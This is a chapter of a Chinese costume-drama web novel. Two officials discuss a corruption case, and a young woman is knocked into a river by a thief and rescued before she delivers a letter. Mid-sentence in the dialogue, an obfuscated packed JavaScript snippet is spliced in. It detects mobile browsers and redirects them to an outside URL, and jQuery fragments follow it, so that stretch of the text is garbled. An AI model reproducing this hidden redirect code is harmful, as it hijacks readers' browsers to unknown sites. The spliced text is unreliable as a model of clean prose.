24. 第二十四章

作品:《月照江川

    秋日丰收时节,不少州郡传来粮食丰收的消息,赶上丰收节,京中一派欣欣向荣。


    桥头小贩早早支起摊子,黑旧锅承飘出谷物磨成面后被烫熟的味道,酱肉汤汁在锅中翻滚出香气,切开几道配上卤汁淋在烫面上,简单搭配就是一顿美食。


    桥边陆续走过穿异域服饰的游客,混入人流中,与熙攘人群玩闹欢笑,秋日两岸微黄的银杏,与行人一道构建出属于京城的繁华。


    许是京城在北方的缘故,鲜少有人见过真正的水乡,大多爱做些外貌上的装饰,来构建出一派想象中的江南模样。


    迈步走入设在曲江水岸边的三层船坊,牌匾上端正写着醉江南三个字,为迎客新换的莲形灯笼,红艳艳挂在两侧,二楼万字镂空花鸟窗内,乌瑞已坐候多时。


    “你来了?”


    转角处,方明川一袭月白锦袍,衣摆的金线竹隐现步伐之间,他面上带些许不快,与卫凌一道阔步向他走来。


    乌瑞见他来,招呼身边小二,将方才点的菜陆续送上,等他坐下才嘻笑问道:“平日你一贯准时,怎么今日迟到?”


    方明川这才缓缓道来实情:“昨日在芳梅园,刚巧碰上怀月,天又下起暴雨,就在戏院多待了会。”


    “那不挺好?”乌瑞看他眉间晕不开的烦闷之意:“怎么遇见她,还一副被人欠钱的臭脸。”


    方明川缓了半晌,才闷声开口:“她今早见雨停,找兰娘聊过后,头也不回直接离开了。”


    面前人三缄其口才道出这副实情,乌瑞差点没忍住笑出声:“这是你们闹掰后第一次见面?她居然理都没理你?”


    “没有闹掰。”方明川把乌瑞话里不当的用词替换掉:“当时只是我没耐住性子。”


    方明川想到与她在翰林院时的相处。现在古籍的校对编写,秦怀月已经独当一面,完全不需要他参与。


    如今他插不上手,说不上话,也走不进她的心。


    方明川捏着银杯的手劲大了点:“她像一颗把自己打磨好的顽石,永远都捂不热,永远都没有棱角,任谁也看不透,根本无法见缝插针。”


    乌瑞想起秦怀月平日在翰林院的样子,点了点头:“你说的确实,她看起来就是一副不需要你的样子。”


    见对面立刻投来尖锐的目光剜他,乌瑞这才紧急收住:“说笑,别当真。”


    穿水银斑灰麻粗布的小二将菜上齐,乐乐呵呵用毛巾擦净手:“各位慢用。”身旁的卫凌也适时借口出去望风,一并离开。


    乌瑞换了话题,与他说起约见的正事:“林家罪函早前就已经由大理寺,同御史台一道呈上,但至今毫无音讯,你怎么看?”


    见他不动,乌瑞斟了一杯酒递给他,方明川接到桌前,却只看着那点清澈的杯中之物:“林家罪证搜寻多年,林千峰借职务之便买官受贿之事,大多物证齐全,如今按兵不动,只能是圣上的意思。”


    听对面人此话,乌瑞露出了然却又无济于事的神情:“鞑靼首领科穆罕有领兵回旋羌州之势,圣上的确不能在这个时候针对林家。”


    见方明川只做思索状,并不动筷,乌瑞招呼他:“这可是京城做江南菜式最好的酒楼,知道你是江都人特地给你点的,要是连这都不喜欢,那你未免也太挑剔了些。”


    方明川扫过席间,大多是改良成京城口味的菜式,不好拂乌瑞面子,只好抿了口酒:“圣上此时用人之际,自然是按下不表,静待来日。”


    乌瑞见他也是这般说辞,心知此事只能隔岸观火:“你应该也有听到苏家流言,如今只怕是难挨林家这番滚刀,此番流言完全就是置苏家于死地!”


    方明川想到曾经,自己还替冀世子寻过苏校尉下落,眼神晦暗:“不管如何,最后帮苏校尉归京,也算是报答当年,冀世子在江都的出手相助。”


    他望向窗外,远处冷香灰白的桥头,依旧是人头攒动。穿着光鲜的游客来来往往,一派繁华,丝毫没有山雨欲来的危机。


    “只是日后苏家如何,也只能是看事态发展。”


    任谁都知道,如今的苏家是一场不能趟的浑水,林家家大业大,贸然参与,只怕有引火烧身的隐患。


    秦怀月与兰娘交代完戏班的事情,她就紧赶慢赶到了苏家。


    苏家宅邸不小,透过黑瓦白墙能看得出曾经的气派,如今紧闭大门,门前落了不少院里飘出来的叶子,积聚成堆铺在路面,连半个人影都不见。


    “姑娘是要找苏少爷啊?”


    等秦怀月边问边叩响苏家的黑门半天,里面才终于走出来个嗓门极大的嬷嬷,一边嚷嚷一边走来,站到门前也不开门,只隔着门缝细细瞧她。


    嬷嬷见外头人穿着光鲜,衣料成色像是大户人家的样子,怕得罪对方,这才缓和语气道:“苏大人现在休息,不宜面客,苏少爷现在人在京城中酒楼,姑娘若有急事,可以那边找他。”


    秦怀月明日还有公务要忙,手上昭嫔给的诗信已经搁了好几天,不能再耽误。只得赶忙问嬷嬷,苏奕平日常去哪些酒楼,准备自己跑一趟,挨个询问一遍。


    按照嬷嬷指的衣着与样貌,秦怀月跑了两处酒楼,怎么找苏奕都找不见,只好暂时站在曲江水边的桥碑处稍做歇息,擦拭面上跑出的微微细汗。


    在她不远处的巷墙角里,有一鹰背色劲装男人,正宿醉靠在墙边。


    男人身旁,黑衣短打装扮,眼神精光的瘦小男子,正鬼鬼祟祟看着四周。


    只见瘦小男子见四下无人,手伸向男子腰上,一把扯下那悬在衣外的苏家家佩!


    苏奕被这动静惊到,醒神过来,扯住男子胳膊,站起身一股蛮劲就要把他拽来,男子慌张无状,借着身形,施巧劲卸掉苏奕手上的蛮力,转头就往巷外冲来。


    “让开!”


    苏奕朝站在水边的身影大喊。


    秦怀月听到有喊声,刚转眼看去,就见一凶神恶煞的男子拿着什么东西冲她而来,一个侧身将她撞开,她躲闪不及,直接掉入身后的河水中。


    一声落水的声响后,方明川和乌瑞身边多了些窃窃私语的声音。


    “哎你听见没,有人掉水里了!”


    “听见了,说是位小姐,刚才有贼人抢苏家公子的东西,逃跑时给她撞下去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773872|174472||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的,现下也没人会水,正问谁能来救呢!”


    乌瑞听外面人声嘈杂,楼下的行人大多聚集往一处去,也站起来询声问道:“怎么回事?”


    “方大人!”卫凌匆忙跑来二楼,在桌前还未站定,话就已经脱口而出:“刚才我看见,那落水的人正是怀月姑娘!”


    秦怀月并不会水,掉入水中之后只觉得浑身被透骨凉意包围。


    秋日河水冒着丝丝寒意,她浮在上边呛了好几口,好不容易挣扎到岸边想爬上去,可那些滑腻的青苔根本不能给她借力。


    正绝望之迹,一道熟悉的月白身影出现在旁侧,秦怀月如看到希望一般,紧紧的捏住那人衣角,等回过神来,就已经被带到岸上,被那人蒙头披上一道玄色罩衫。


    秦怀月摁住胸口,努力咳出呛进的河水,等稍稍缓和之后,才把头从罩衫之下伸出来,拢紧衣物遮蔽身形,看向方才救她的人。


    只见方明川面色难看,也不看她,只拿来卫凌从马车里带过来的干净衣衫,也为他自己披上。


    两人在这闹市区,也算得上如出一辙的狼狈。


    秦怀月看到眼前人,紧张的神情疏松不少,原本还在想上来后怎么办,见身边乌瑞也走过来,她彻底放心,借着乌瑞的搀扶站起来:“谢谢。”


    苏奕见秦怀月被救上,连忙过来谢过方明川和乌瑞二人,随即走到秦怀月面前。


    经这番变故,他彻底醒酒,直怪自己贪杯误事,对秦怀月满怀歉意道:“今日之事是苏奕的过错,姑娘若愿意,我照价赔偿你的衣物。”


    “没关系。”秦怀月摆手,随即从袖口中翻找,拿出昭嫔亲笔写的的诗信想递给他。


    可诗信着了湖水,晕染出大片墨渍,无论她怎么抖落,都没办法回到原本的样子。


    见怎么擦拭都无济于事,秦怀月渗出些愧疚的眼泪,只得拢着内里还在滴水的衣物,走到苏奕面前。


    赶忙擦掉眼泪将信递过去:“这是给你的,但现在已经晕掉了,如果你介意,我替你重新抄写一份。”


    苏奕并不理解面前女子为何这样说,刚想回绝,直到她坚持让他拿住,他才疑惑接过那被水濡湿的信封。


    信封口处,有一道两翼翘起,如欲飞蝴蝶的私印,苏奕心中大为震颤,一时之间什么话都说不出口,面上不知做何种情绪。


    秦怀月见面前男人,脸上轮转各种悲喜颜色,仿若情不能自已,心中叹息一声。怕人多眼杂,只得拉他穿过稀疏旁观的人群,带他至僻静角落讲明实情。


    一时之间,现场只余下方明川几人。


    旁侧的卫凌见到这幅场景,赶忙遣散旁边围观的人群,免得再生事端,一边耐不住好奇,不由自主看向秦怀月那处去。


    只见传闻中二十多载从未娶妻,整日流连酒楼买醉的苏家公子,与秦怀月在角落交流过后,竟是喜悦之色溢于言表,仰面止泪,状似癫狂。


    乌瑞在方明川身后也看到这一幕,心中不免忐忑,想到从前种种,不由得挪了视线往他面上看去。


    只见方明川盯着那处淡黄身影,面上已是一片铁青。